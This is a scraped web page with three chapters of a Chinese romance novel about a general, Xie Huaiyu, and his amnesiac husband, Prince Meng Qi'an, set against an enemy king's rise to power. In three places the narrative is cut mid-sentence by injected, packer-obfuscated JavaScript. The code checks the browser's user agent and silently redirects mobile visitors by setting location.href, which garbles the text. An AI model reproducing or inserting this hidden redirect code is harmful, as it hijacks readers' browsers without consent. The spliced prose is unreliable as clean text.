少女惊呼一声,跪倒在地嘤嘤哭了:“对不起,大将军,妾身手笨,妾身将来会好好侍奉王爷,不再犯错,请大将军息怒!” 好个娇弱可人我见犹怜的模样。 谢淮屿突然笑了,怎么孟祈安有了情人他反倒成了个罪人? 他压住想要杀人的怒火,攥着拳头,指尖深深刺入掌心。 “安王殿下在哪里?” 侍卫心肝发颤:“殿下在、在云容楼。” 、 谢淮屿离开严华城之后,孟祈安就没回过王府,所以根本不知道有人趁机爬他的床、偷他的发带、还造他的谣。 他立志要在暮春诗会抓到龙泉寺之人,谁都没告诉,跟着狐朋狗友混在各种宴会上,悄咪咪地观察。云容楼是达官显贵最爱的温柔乡,他干脆在这儿开了间房住下了。 负责保护他的慧云飞叹了口气,嘱咐手下莫要懈怠。他是大将军副将,看着安王爷整日泡在教坊,他心里替大将军鸣不平,但又不能多说什么。 “你们俩跟着殿下,保护好殿下。你们俩看好房间,不要放任何外人进去。”话虽如此,若是安王真看上了哪个女子要带进房里,他也没有权利阻止。 他看着楼下坐在包厢里的安王摇摇头,心道:大将军要是回来看见了,可如何是好啊? 暮色初合,教坊檐角悬起鎏金灯,窗外初春小雨淅淅沥沥,屋内烛影摇晃,映得窗棱上的西府海棠雕花如梦似幻。珠帘轻挑,美人如画,达官显贵褪去官服,换上轻裘锦袍,聚在这严华城内最大的削金窟中饮酒作乐。 侍女捧着错金银酒壶穿梭在宾客间劝酒,十二名舞姬旋出珠帘,鲛绡披帛流散化成烟霞。领舞的女子梳着高髻,露出修长洁白的脖颈,玉足点地,金铃在踝间脆响,伴随着琵琶声声入耳,引人遐思。 众贵人饮酒击节,沉浸在舞蹈乐曲和舞姬的美色之中。 安王吃着葡萄,目光没有落在舞姬身上,而是落在在座的宾客身上。 在场的十位宾客,七个身上戴着圆环玉佩,果真如老板所说,是当下最流行的款式。 他正眯着眼睛逐一观察,一人直接解了玉佩扔到了台上。 孟祈安:“…………”好家伙,这么好的玉说给就给啊!得让皇兄好好查查他!一个编修哪来的这么多银子!那个搂着侍女的,没记错的话,闺女都比人家大吧?还有那个坐在琴师旁边的,是要干什么?怎么还上手了?人家琴师卖艺不卖身吧? 你看,挨了一巴掌!果然惹人家生气了! 他一边在心里八卦腹诽,一边摩挲着新买的并蒂同心佩。 我挚友就不一样了,他是一股清流,洁身自好,两袖清风,勤勉为民,鞠躬尽瘁! 好词全让他用在了谢淮屿身上。 马上又想到谢淮屿撇下他去游山玩水。 哼!我干嘛还给你买礼物? 我自己留着! 他正神游天外,就听见楼下厅堂里一阵骚乱。 他本就坐在包厢边上,于是便倚着雕花栏杆看热闹。 人群中似乎有一道影子飞过,他看都没看清,那道影子已经旋风一样朝他飞了过来。 下一瞬,玄铁长枪划破人们的惊呼声,铛的一声楔入孟祈安身前的矮桌上。 孟祈安滑落栏杆,瘫在地上,眼睛和嘴巴都张得老大。 谢淮屿握住枪杆,单脚踩着矮桌,居高临下地看着他,眼神冷得吓人:“谁给你的胆子来喝花酒?” 包间里的人噤若寒蝉,屁都不敢放。 谁想得到大将军居然来云容楼抓人。 “王……王妃,呃,不是,大将军,不关我们的事啊……” “对、对对……我们先走了……” “殿下……呃,微臣告辞、告辞……” 众人趁着大将军没迁怒他们,一个个的麻溜儿滚了。 许新卓劝道:“淮屿,是我叫殿下来的,我是怕他一个人在王府无聊……”他捡起碎了的碗说,“殿下没喝酒,你看,他挺乖的。” 慧云飞也说:“是啊大将军,殿下没干别的,就是看看歌舞……” 孟祈安盯着谢淮屿的脸,外面的雨下大了,谢淮屿头发上眉毛上蒙着一层小水珠,令他的眉眼更显得冰冷。 哼,横什么!?吓唬谁啊!? “你舍得回来了?”他开口道。 谢淮屿一眯眼:“你说什么?” 孟祈安:“本王说,你来云容楼耍威风,搅得这里不得安生,很得意是不是?”他坐直身体,目光毫不畏惧地顶了回去,“谢淮屿,你凭什么管我?本王来喝花酒与你何干?” 谢淮屿张了张嘴,却说不出半个字。他好像不认识他了一样。 “贺知良是你留下的?”他问道,“你与她……”想到孟祈安与别人发生了关系,他的心就疼得厉害,问不出口。 大半个月没见,一见面就拿枪吓唬他,孟祈安脾气上来,说:“对,人是我留下的,以后贺知良会住在安王府。谢大将军要是看不惯,可以自行离开。” 听到他亲口承认,谢淮屿只觉得眼前一黑,他握紧枪杆缓了一下。贺知良说的话他不信,但孟祈安亲口承认了,他无法再自欺欺人。 曾经说要与他一生一世一双人、执拗地追求他的少年,现在却残忍地告诉他他有了别的女人。 慧云飞有些看不下去了:“大将军,殿下说的是气话。殿下,您也别胡说了,贺小姐她……” “谢淮屿,我不仅喝花酒,还在云容楼住下了,你可以问问,我在这里住了几天?”孟祈安只觉得自己占了上风,到底为什么占了上风和为什么要占这个上风他全然不想考虑。 他每天都在惦记担心谢淮屿,为他被禁足、为他爬墙摔跤、为他每日调查寻找龙泉寺之人,可他回来就是一通指责。 他做错什么了?凭什么要对他这么凶? 他现在明白了,他错就错在对谢淮屿动了心。如今可好,谢淮屿给了他一枪,虽然没扎在身上,但是扎在了他心上啊! 这枪彻底斩断了他刚冒头的情思。 是啊,他在想什么?因为谢淮屿对他好,又看了几个话本,就对人家产生了遐想。本就是不该产生的感情,如此痛快地斩断倒也好。 等他的王妃小九回来,一切都会回到正轨。 “我再问你一次……”谢淮屿皱着眉,方才冰冷的语气和质问的气势荡然无存,只剩下一点点哀求:“祈安……你当真要我走?” 孟祈安盯着他的眼睛,将所有的委屈和伤心都隐藏在冷酷后面。什么都没说。 两人对视了几息,空气放佛都凝滞了。直到谢淮屿再也无法忍受,在泪水涌出之前移开了目光。 他看懂了孟祈安的坚持,同样没说话,拔丨出长枪,头也不回地走了。 、 云容楼的事让皇帝听说了,第二天一早便召了谢淮屿进宫。 皇帝免了他的礼,赐座与他,说道:“贺知良的事孤听说了。” 他深深地叹了口气道:“贺知良是皇后安排的,孤事先并不知情。为此我已经斥责过皇后了。再怎么说也不能不经过爱卿的同意就随便安排人进王府。” 谢淮屿望着远处的地板,只回了一个字:“是。” 皇帝确实责骂了皇后,谢淮屿是镇北大将军,谢家出过五位忠心耿耿的大将军,辅佐大承六朝皇帝,每一位大将都是万人敬仰的英雄,有如此忠勇无双的将门捍卫国土,是大承国之所幸。 镇北军以大将军马首是瞻,毫不夸张地说镇北军就是谢家军。 皇后这么做,寒了谢淮屿的心,寒了谢淮屿的心,就等于寒了镇北军将士的心。 但皇后是一国之母,是君,皇帝不能为了个臣子驳了皇后的面子,权衡之下,只能安抚谢淮屿。 “皇后擅作主张,僭越失礼,孤申饬了她、收了她的凤玺,交由贵妃代管,并罚她禁足三月,在佛堂抄经以求静心。” 对一国之母来说,收了凤玺等于失了权。这惩罚跟废后只差一步。皇帝为他做到这个份上,他还能说什么? 谢淮屿跪地拜倒,说道:“臣恳请陛下收回成命。” 皇帝亲自走过去,想扶起他,但扶了一下他没有动。他知道谢淮屿心中有气,说道:“其实皇后也是好心。祈安二十四了,膝下没有子女,我猜爱卿也不希望祈安绝后吧?待那女子诞下孩子,就交给你们夫妻抚养,也算是你的孩子。” “孤看得出,祈安对你甚是爱重,你也不必过于担心他会移情他人。” “你就当那女子不存在,你是男人,没必要跟一女子一般见识。” “若是祈安让你受委屈,你尽管来找孤,孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151611|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会为你做主。” “不过祈安受伤失忆,你也要多包容理解他。” …… 谢淮屿脸上没有表情,面对皇帝恩威并重的安抚简单地回了个“是”。 谢淮屿搬回了将军府。 他的东西不多。 孟祈安追他追了好几年,他在抵御罗傲侵犯的战役中受了重伤,孟祈安一直守在塌边,悉心照料他,他醒来后便向他求亲了。 谢淮屿经历过生死,明白了对孟祈安的感情,就答应了。 他本以为孟祈安说的成婚只是两人私下相爱就好,没想到孟祈安竟然去求皇帝赐婚,说要与他光明正大地成婚。 真的成婚后,他被孟祈安带去了安王府,看着孟祈安为了和他一起生活准备的衣物、鞋袜、茶杯、酒具、碗筷等等,都是成双成对的,甚至还有绣了两只公鸳鸯的被褥和枕头,他心一软就在安王府住下了。一住就是六年。 六年时间,他早已把安王府当成了自己的家。 安王府里的东西除了兵器,都是孟祈安准备的,他没什么好带走的。 牵马的时候他犹豫了,这匹马也是孟祈安送他的。当时孟祈安得意地说,是从太子手里抢来的。 谢淮屿想了想没牵走。 孟祈安在云容楼住得不踏实,还是回了王府。 贺知良满面娇羞地迎了上来,福了福身说:“妾身恭迎王爷回府。” 孟祈安:“季青,帮贺小姐收拾行李,送贺小姐回家。” 季青激动道:“得嘞我的王爷!!” 贺知良扑通一声跪在地上:“殿下!妾身哪儿也不去,妾身只求能留在殿下身边!我入府这么多天,别人都道我是殿下的人了,您赶我出府,我没了清白该要如何自处?” 孟祈安:“你做的事本王都知道了,本王不追究,你自行离开,否则本王便将你做的事都告诉陛下。至于你的清白,找人验身就知道,本王没碰过你。可别赖在本王身上!” 谁知贺知良突然一改刚才的悲痛欲绝,瞬间冷静下来,说道:“殿下怎么知道没碰过妾身?殿下不是磕到了头,经常犯梦游之症吗?” 孟祈安心一沉,心道我又梦游了?他有过前科,抱着谢淮屿变态似的嗅,还不止一次起了反应。难道…… 他强迫自己冷静下来,问道:“所以贺小姐现在已经不是清白之身了?” 贺知良故作娇羞地垂首,轻轻点头道:“妾身已经是殿下的人了。” “好。”孟祈安说道,“太医院使为本王开的药方中含有安神安眠的药,本王的梦游之症早已痊愈。而且……”他故意顿了下,大声说,“本王不举。” 只有冤枉你的人才知道你有多冤枉。 贺知良万万没想到孟祈安会有隐疾,而且还堂而皇之地宣之于口。 孟祈安从贺知良的表情看出,她在撒谎,继续说道:“本王没办法碰你,但你却不是完璧之身。你们都听见了!” 侍女侍卫们:“听见了!” “贺小姐现在离开,本王就不再探究此事。”孟祈安步步为营道,“贺小姐若是不离开,那本王明日就禀告陛下和皇后娘娘,让他们帮贺小姐找出那位帮你破身的‘命定’的良人。” 贺知良脸变得煞白,安王将这件事告诉皇帝,那她无论是不是清白之身,就都成了欺君之罪。 送走了瘟神,孟祈安一点也高兴不起来。 他在屋里待不住,溜溜达达出了院子,走到双清别院门口,假装经过,往里面偷觑。 季青:“王爷,大将军走了。” 孟祈安:“走就走了!关我屁事!” 季青:“东西都搬走了。” 孟祈安:“那又如何?” 季青:“不回来了。” “起开!”孟祈安烦躁地推开他,大步进了双清别院。 他没有仔细看过这间别院,发现里面跟将军府一个风格,禁欲冷清,一点人情味都没有。 他走了一圈进到卧房,里面淡淡的幽香跟谢淮屿身上的一样。 他气鼓鼓地坐下,给自己倒茶,结果茶壶里一滴水都没有。 季青默默给他添上水,说道:“王爷,要不咱去将军府请大将军回来吧……” 孟祈安:“请他回来?!本王又不是摔傻了!请他回来干什么?请他回来气我吗!” 季青:“您给他解释清楚,没做过的事咱不能上赶着背是不是?” 孟祈安:“凭什么我去解释?我去了不就先低头了?不去!” 季青:“其实大将军他是……” 孟祈安:“是什么?” 季青急得团团转:“哎呀,我的爷啊,您两位真是急死我了!” 17.第 17 章 谢淮屿在将军府接到消息,罗傲国内乱。 罗傲国王年迈,膝下有七个儿子,其中老大愚钝,老二风流成性,老五右腿残疾,老六的娘出身低微,老七年幼。老三和老四是下一任王的候选。两人年龄只相差一岁,势力不分伯仲,因为老王还在位,所以只在暗地里争斗。 可是上个月,老王突然生了场大病,命几乎去了大半,整日缠绵病榻,寻遍名医都说其命不久矣。他一病危,罗傲朝堂上便开始了血雨腥风。 曾经金戈铁马好勇斗狠的老王因为身体原因,近年来没那么多精力侵犯大承,对大承来说,是一件好事。他虚弱地在位一天,边境就不会出大乱子。而他所乐见的儿子们兄弟阋墙,对大承也是有利的。 谁是下一任罗傲王,对大承至关重要。三王子明翰性格内敛温和,四王子明措性格强硬如烈火。三王子在对待大承的外交上一直主张求和,而四王子曾经亲自率军攻打建宁关,围困镇北军半月之久,他嗜血如命,过村屠村,草菅人命,人称血纛(音同道)狼王。 若是明措继位,不用想,定会当即撕毁与大承的那纸盟约。 三日前,明措在朝堂上当着文武百官的面砍了支持三王子的叶护的头,他的狼兵围了整座王宫,饿了百官三天三夜,一口水都没给,逼得所有官员承认他是新的罗傲王,而他亲爹,罗傲王听说了他发动兵变,当晚一口血卡在胸口出不来,生生气死了。 明措登基,第一件事就是要杀三哥明翰,可明翰不在王城,早已不知去向。 与内乱情报同时抵达严华城的还有一只死兔子。 “一支箭带着这兔子钉在王府门前的地上。”慧云飞道,“还好没人受伤。射箭的人没抓到。” 死兔子杂色的毛满是血污,肚子被人剖开后用粗线粗暴缝合。谢淮屿拿出它腹中的油纸。 【谢淮屿,没想到吧?朕已登大宝!积恨七载,韬光养晦,为的就是这一刻!你给老子等着,老子马上帅狼骑踏平你建宁关!把你大卸八块!还有你那金枝玉叶的情郎,我也不会放过!】 谢淮屿闭上眼睛,胸口起伏,攥着油纸的手指节泛白,仿佛那不是油纸而是明措的咽喉。 七年前,罗傲大举进犯大承。他爹是主帅,他是先锋,父子一同帅镇北军应敌,本来已经将罗傲大军赶出关外五十里,明措带着狼骑兵突然夜袭边境十八村,屠杀村民和游牧百姓千余人。 谢淮屿带兵驱逐,不料明措在村中浇了油,放了硝石,以火箭引火烧村。为了救无辜百姓,很多将士死在了大火和爆炸中…… 谢淮屿愤怒至极,孤注一掷追击,竟大破狼兵,将明措砍成重伤。 明措逃掉了,自此便将谢淮屿视为宿敌,后续更加暴虐嗜血,每次有他参战,战况都格外严峻惨烈。死在他手里的不仅是镇北军和大承边关百姓,他连自己人也不放过。狼兵每个都跟他一样,好斗善战,打起仗来不要命。 谢淮屿甚至怀疑,明措这疯子当罗傲王,就是为了一雪前耻。 慧云飞:“明措甫一登基,就把之前支持辅佐三王子的官员都杀了。除了三王子下落不明外,其他亲兄弟,还有三服内的堂表也都被他杀了。有他的狼骑在,没人敢反抗他。” 现在的罗傲,就是明措手里的一把带血的凶器。 谢淮屿不惧他,但他竟将箭射到了安王府门口。 如果说谢淮屿有弱点,不是脖子也不是心脏,他不怕死,对他来说,孟祈安是他最重要的人,他不允许任何人伤害孟祈安。 这点明措很清楚,精准地戳到了他的逆鳞。 明措举兵攻打建宁关,他可以身先士卒,率军与之大战不死不休。但孟祈安不行。 “他的目标是我。”谢淮屿气得双手微微颤抖,几次深呼吸才恢复,说道,“传我的令,加派人手日夜巡护安王府,任何不相干的人都不能踏入王府半步。” “是!” 谢淮屿让副将慧云飞带新的部署命令先一步回建宁关,然后进宫面圣。 关顺帝听完,眉头紧锁面色不霁,说道:“大将军的消息可准确?” 谢淮屿:“消息来自镇北军情报网,确定准确。明措昨日已经登基称王。” 皇帝:“那不出十日,罗傲的国书便能到严华城……” 谢淮屿认为不会有什么国书会来,会来的只有战帖。“明措此人凶狠狡诈,睚眦必报,臣担心他会发兵大承,而且……臣与他有私仇,臣担心他对祈安不利,所以臣今日前来向陛下请辞,明日启程前往建宁关。” 皇帝沉默下来,明措登基称王,建宁关的局势注定会变得紧张。谢淮屿是必须要回去坐镇的。 “辛苦爱卿。” 昨日他才对谢淮屿说了要给孟祈安纳妾的想法,今日就要让人家去边关苦寒之地为他镇守河山。谢淮屿的脸上看不出一丝表情,但脸色很不好,眼下甚至有了乌青,看来是一夜未眠。 他心中愧疚,但天家无情,君就是君臣就是臣。 谢淮屿说了死兔中的信函,道:“臣……担心祈安。” “淮屿,”他放软语气说道,“祈安是我亲弟弟,你放心,我一定会保护好他。” 他想好了,如果此时谢淮屿提出不许孟祈安纳妾的条件,他也会毫不犹豫地答应。 “陛下,臣还有一事。”但谢淮屿没有,从怀中掏出一封信,淡然地说道,“这是和离书。” 皇帝惊讶,没有接:“淮屿,你……你这是何苦?祈安他对你还是有感情的,等他想起来,要是知道发生了什么,定会后悔,你何必要做得如此不留余地?” 谢淮屿:“太医院使说,祈安恢复记忆的可能性微乎其微……这封和离书,臣请陛下先替臣收着,若是祈安有了心悦之人,就将和离书给他,臣绝不会缠着他。而且……” 七年前抵抗罗傲国侵犯的战役让他记忆犹新。年仅十八岁的孟祈安有自己的封地,被皇帝封为四海镇国兵枢总制上将军。这个超长名字的军职听起来威武,但其实对他来说是个闲职。皇帝宠爱他,总拿他当孩子,无视他的抱负,给他的这个官职甚至是空前绝后的新官职。 百官中有清楚孟祈安才华的,为他惋惜,上奏皇帝,替他鸣不平,于是皇帝便给了他实权,四海镇国兵枢总制上将军可以调动大承境内所有的地方军。但他住在严华城,而且调动地方军做什么?除非是要造反,否则这个实权毫无用武之地。 后来罗傲国进犯,建宁关受困,战况告急的情报传不回来。严华城上下都没有动作,唯有上将军孟祈安不顾朝堂反对,公然抗旨,毅然决然地调动四大州地方军总计八万兵力支援建宁关。 虽然打了胜仗,但他因为抗旨被御史弹劾,后来又冒着触怒天威的风险请皇帝赐婚,皇帝收了他所有的职权和封地,他彻底成了一位闲散王爷。 谢淮屿依旧记得自己身受重伤倒地时,看到孟祈安穿过连天烽火和遍地残骸而来,耳边箭羽呼啸、鬼哭狼嚎,孟祈安沾满泥土血污的脸上却露出了一抹微笑:“找到你了,小九,我带你回家。” 格格不入却令人心安的温暖微笑。 谢淮屿闭上眼睛,他不想再让孟祈安因为自己涉险。 此番去建宁关戍边不同于以往的巡视,注定会与罗傲国有一场旷日持久的恶战,而这场战争不知道会始于何时,也不知道会打多久。此去经年,他与孟祈安本的感情本就是违背世俗的,如今孟祈安失了忆,忘记他,爱上别的女子他可以理解。 他当然希望平安归来时,孟祈安还在等他,那封和离书派不上用场…… 他语气淡然,仿佛说的不是决绝的话:“我想让他平平安安的。” 从皇宫出来的时候已过宵禁,等他反应过来,人已经快走到安王府门口了。 王府门口红灯高悬,有六名侍卫把守。其他地方也有暗卫。 暗卫自然不会拦他,他不想引起王府里的人的注意,所以没走大门,翻墙进去了。 落入院中,他心中苦涩,明明昨天才搬出来,今天又回来干什么? 他往寝室走,遇到了端着药渣的季青。 季青远远看见他三步并作两步跑过来:“大将军!”他不等谢淮屿说话就倒豆子似的说,“您听我说,王爷跟那女子什么都没有,昨天一回来,王爷就把人赶走了!王爷对您的真心天地可鉴!大将军,王妃,小的求求您了,回来吧。” 谢淮屿:“我知道。” 季青:“啥?” 谢淮屿:“今早慧云飞跟我说了。” 季青松了口气,道:“您知道便好,那您就回来吧,王爷想您着呢。” 谢淮屿:“他人呢?” 季青:“刚喝了药,这会儿已经睡了吧。” 谢淮屿举步往寝室走,被他叫住:“大将军,王爷在双清别院睡呢。”见谢淮屿疑惑,解释道,“王爷说那屋不干净了。” 谢淮屿:“…………” 春寒料峭,月色空濛,银霜满地。 孟祈安喝了药,呼吸平稳均匀,睡得很熟。 谢淮屿站在床边看了他一会儿,解开外袍轻轻在他身侧躺下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177927|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他一躺下,孟祈安就转了过来,自然而然地抱住了他。 谢淮屿手臂搭在他腰上,靠在他怀里。一窝进温暖的怀抱,他这些日子的疲惫和委屈一股脑儿地全冒了出来,鼻子眼眶直发酸,心里抽抽着疼。 他跟谁也没说过有多害怕孟祈安把他忘了。 平日里把他放在心尖上疼爱的男人昨天看他的眼神冰冷得像在看陌生人…… 生死相许的感情荡然无存,他的挚爱只把他当成朋友,再无情爱。 若是孟祈安想不起来,他只能以朋友的身份陪在他身边…… 他揪着孟祈安的衣服,眼泪涌出眼眶,肩膀颤抖。 孟祈安在睡梦中似乎感到怀里的动静,把他搂得更紧,无意识地亲他的额头和鬓角。 “小九儿……” 他唤了声,旋即低头寻找那幽幽暗香的来源,吻住唇瓣。 他在梦里也抱着他的小九啃。 他坐在竹帘后,人进了屋他抱怨道:“你怎么现在才回来。” 那人不说话,他又说:“我等了你好久,你再不回来,我就要……” 一阵春风刮过,屋外雪白的梨花漫天飞舞,屋内红泥小炉上煮的茶咕嘟嘟冒着泡。 好似风会将人刮跑一样,他心中一紧,冲出竹帘抱住了那人,蹭着他的脖子撒娇道:“你再不回来,我就要爱上别人了。” 那人的双手回抱住他,吻过他的脸颊,流连在他的唇角。 “小九,我好想你。”孟祈安说道,轻咬对方的唇瓣,厮磨了一阵不过瘾,伸出舌头试探地扫过对方下唇上的纹路,像是用狼毫描摹唇瓣的形状,随后转而探入对方口中,找到软舌勾卷在一起。他把人抱起来,钻进竹帘里,迈过温热的茶炉,放在床榻之上,吻得银丝粘连难舍难分。 “小九儿……爱你……”他看不清对方的相貌,但心中却满满的都是笃定的爱,这么香,这么熟悉,他是小九,是我的王妃。 他体内似乎有什么凶猛的情绪在翻涌,是他自己都难以控制的,像是一头藏在草丛后面的猛兽,蓄势待发,随时准备冲出来接管他的身体,拆吃掉身下的猎物。 风越来越大,呼啸着刮得窗户哗啦啦作响,他撕扯着衣襟,膝盖…………脑中只剩下占有一个念头。 猛兽跨过草丛,锋利的爪子扒在他心口,深深刺入血肉,想要撕开挡在他记忆前方的障碍,每走一步都带来带着疼痛的战栗。他头痛欲裂,却不想放开怀里的人,口中滚烫,交缠的舌头贴在一起嚅动,他在湿滑甜腻中尝到了一丝咸涩。 惊醒。 “小九?” 他睁开眼睛,迷茫地看着怀中的人。 谢淮屿脸颊酡红,唇瓣莹亮,羽睫挂着泪。 “怎么哭了?”孟祈安甚至没有觉得床上的是谢淮屿有什么不对的,完全是下意识地将人搂进怀里哄着,“是我不好……是我不好。淮屿,我没有要赶你走的意思。对不起,是我错了。” 明明入睡前还倔强地想绝对不先低头,结果嘴比脑子快,想都不想就道歉了。 谢淮屿看着他没说话,眼睛因为哭过,红红的。 孟祈安这才发现两人抱在一起,腿也交叉着搅在一起,姿势亲密得不能再亲密。 他脸上一红,贴在一起,下面的秘密根本藏不住。 他说自己不举,其实说完就后悔了,万一一语成谶真不举了怎么办?但现在应得发疼,看来是他想多了。 谢淮屿不知道在想什么,看了他一会儿,放开了抱着他的手坐起身来。 孟祈安这才真的清醒,顿时感觉尴尬笼罩而来:“淮屿……你怎么……在……呃……” 谢淮屿整理被他扯开的衣服说:“回来看你。” 孟祈安:“……是不是我……把你拉上床,强迫你……” 谢淮屿:“不是。” 孟祈安:“淮屿,你不用照顾我的情绪,我知道我失忆后做了很多蠢事……”他干笑了两声说,“我一定是太久没见王妃了,才会……哈哈,竟然对身为男人的挚友……对不住啊兄弟。” “话说你真是个好人,都没打我。” 谢淮屿:“……”刚才不想打,现在想了。 “没关系,我不介意。”他说。 孟祈安:“不介意?” 谢淮屿:“我没把你当兄弟。” 孟祈安:“啊、啊啊?你……”这是什么意思?? 月光下,他的额发和挺秀的鼻梁在脸上投射出阴影,令他眉目柔和,清冷的嗓音响起:“我心悦于你。” 18.第 18 章 我心悦于你。 所以他会因为贺知良生气……?所以他总是出入王府悉心照顾我,是源于喜爱? “唔!”剖白和念头如撞上铜墙铁壁,孟祈安越是深思,脑仁越是突突作痛。仿佛有人往他颅骨内浇筑铁水,硬生生将某些记忆铸成密不透风的牢笼。安神香混着谢淮屿身上的香气,像团化不开的雾,他痛得冒出冷汗。 “祈安?祈安!”谢淮屿将人按回锦被,指尖拭去他滚烫额头上的冷汗,安抚道,“不要想了,祈安……” 孟祈安之前回想以前的事,想不起来钻牛角尖时也会头疼。可他素来是个知疼着热的,头一疼就放弃回想了。反正想不起来又能怎样?他是安亲王,当今皇帝一母同胞的亲弟弟,一人之下万人之上的金尊玉贵,就算他一辈子恢复不了记忆又如何?大不了从新开始人生。 “你心悦于我?”他重复着,这句话好像一根烧红的细针,扎在他记忆的裂缝里。但越是疼痛,他就越是想想起来。 “你心悦于我……淮屿……”他不肯乖乖躺着,紧拧着眉头攥着谢淮屿的袖口,眼尾泛着病态的嫣红,“你方才说……心悦……我?我……” 他甩甩头,想把脑中的浓雾甩掉:“可我分明有小九……淮屿,挚友……小九……淮屿,我们不能……” 最后几个字化作齿间呜咽,仿佛是扎入舌根的倒刺。 谢淮屿抱着人安抚,烛火突然跳动了一下,将他眼底的痛苦映得愈发浓重。他勉强扯出个微笑,道:“我知道,对不起,我是说笑的。” 四更梆子响时,太医的银针终于镇住孟祈安躁动的气血。谢淮屿握着他的手守了一夜,直到廊下的沉雾漫过石阶,才悄然离去。 清晨,屋外鸟雀叽叽喳喳,孟祈安在帐中睁开眼睛,盯着房梁上的木雕锦鲤看了半天,突然鲤鱼打挺从床上跳起来,喊了一嗓子:“季青!” “王爷。”季青推门进来,“您醒了?感觉有哪里不舒服吗?” 孟祈安套上鹿皮靴:“好着呢!”他要去找谢淮屿。 见季青抱着袍子戳在地上,面色犹豫,问道:“有话就说。” 季青:“王爷,大将军昨晚可曾跟您说过什么?” 孟祈安反问道:“你知道他来了?” 季青:“知道啊。” 孟祈安:“知道你不拦着他进屋,我差点……”不是差点,是已经唐突了人家。 季青:“??” 孟祈安:“算了算了。” 季青:“所以王爷,大将军跟您说什么了没有?” 孟祈安想到那句告白脸上一红,说道:“他说他误会我了,跟我道了歉。” 季青:“其他的呢?” 孟祈安:“其他……其他就没了。” 季青这才明白自家傻王爷还什么都不知道呢,急道:“大将军要去建宁关,寅时便整军开拔,这会儿怕是已经到了十里亭!” 孟祈安跳了起来,连袍子都没系上就冲出房门。 疾风掠过耳畔,他策马冲破长街薄雾,身后追着一溜侍卫,浩浩荡荡地赶到了城门。 百姓们欢呼声浪如潮水漫过城墙,地上还散落着鲜花。欢送大将军的百姓挡住了孟祈安的去路,他焦急地跳下马,推开守城士兵爬上了城楼。 太阳彻底从山的另一头跃出,霞光刺破云层,驱赶沉雾。他看见一袭玄甲的年轻将领在队伍的最前方。 “淮屿!谢淮屿!!”他大声喊道,“谢淮屿!!!” 谢淮屿听见了他的呼唤,勒马回首望向城楼。晨风卷起他的披风,腰间露出并蒂同心佩中的一块。 隔着风烟,孟祈安看到他说了两个字,“回去。” 口型如利刃,剖心的疼。 那背影冷酷决然,孟祈安被寒风打得浑身颤抖,愤怒和无助轮番灼烧他的内心:“谢淮屿你混蛋!!王八蛋!!!” 他突然抽了戍卫长弓,弯弓搭箭,箭镞随着颤抖的弓弦直指天际。 “王爷!”“殿下三思!”“殿下!”众侍卫惊呼不可,想要上前夺弓箭。 只见安王张弓如满月,许久未用的右手颤抖着,箭锋随着渐行渐远的军旗,直到那身影彻底消失在初春冰寒的尘沙里…… “混账……”孟祈安颓然地放下手臂,长弓应声落地,他望着空荡荡的官道冷笑,“好、好好……呵,好你个无情的镇北大将军!” 暮色降临时,严华城坊间已遍传“安王箭射大将军”的轶闻,每年大将军离京北上巡视,安王都要依依不舍地追出去老远,没想到今年竟然是新的戏码。安王那一箭没射出去,那就是闹别扭,闹别扭是夫夫之间的情趣,一时间百姓们都在兴高采烈地议论这件事。 安王在城墙上闹了这样一出,百姓们便没人去猜测镇北军提前离京的原因了,传来传去的,都说是安王惹大将军生气,大将军就回建宁关了,小作家们也纷纷着手开始写新的话本。 朝堂怕造成恐慌,没有泄露任何关于罗傲国内乱和明措称王的事。许新卓是丞相公子,自然知道,他赶到安王府,却见孟祈安拿着朱笔在北境舆图上沿着建宁关描画,用力之大,笔锋穿透宣纸,好像在紫檀木书案上留下深深血痕。 孟祈安口中念念有词:“你给我等着……你给我等着……” 书房气场太过阴湿恐怖,许新卓脚步一顿:“殿下,你……”癫了吧? “呃……我听父亲说,罗傲国新王登基,给淮屿下了战书,他才不得不回建宁关。” 孟祈安:“我知道。” 许新卓一惊:“你知道?” 孟祈安坐下,擦了擦手上的朱墨,阴翳散去,忽而恢复成翩翩贵公子模样:“嗯。” “……”许新卓,“敢问你是如何知道的?” 孟祈安瞥了他一眼道:“本王的渠道为何要告诉你!” 自从龙泉寺事后,他多了个心眼。靠他一个人肯定不行,首先,皇兄很明确地不让他参与此事,其次,他一个王爷,到哪儿都滴溜嘟噜地跟着一群人在屁股后面,谁看见了他都躲着,更不可能露出马脚。 最后也是最重要的一点,他失忆,很多人都不记得了啊!啊啊! 所以他派人私下打探。 这一派人不要紧,他发现手底下竟然有不少能人。唱戏的说书的、算命的打卦的、打铁的打猎的、种菜的炒菜的、挂单的和尚炼丹的道士、寒门学子落魄武士……乱七八糟一堆。 这些人都有真本事,但是奈何世道艰难,有的在家乡空有抱负而无施展之地,所以来到严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 